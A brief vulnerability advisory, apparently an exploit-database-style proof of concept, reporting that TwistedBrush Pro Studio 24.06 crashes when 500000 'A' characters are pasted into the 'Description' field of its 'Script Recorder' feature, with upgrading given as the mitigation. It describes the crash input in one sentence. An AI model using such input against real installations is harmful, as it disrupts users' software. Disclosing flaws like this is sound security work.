TwistedBrush Pro Studio 24.06 – ‘Script Recorder’ Denial of Service (PoC)

TwistedBrush Pro Studio 24.06 is vulnerable to a denial of service attack when a specially crafted file is opened in the 'Script Recorder' feature. An attacker can create a file containing 500000 'A' characters and paste it into the 'Description' field of the 'Script Recorder' feature, which will cause the application to crash.

Mitigation:

Upgrade to the latest version of TwistedBrush Pro Studio.
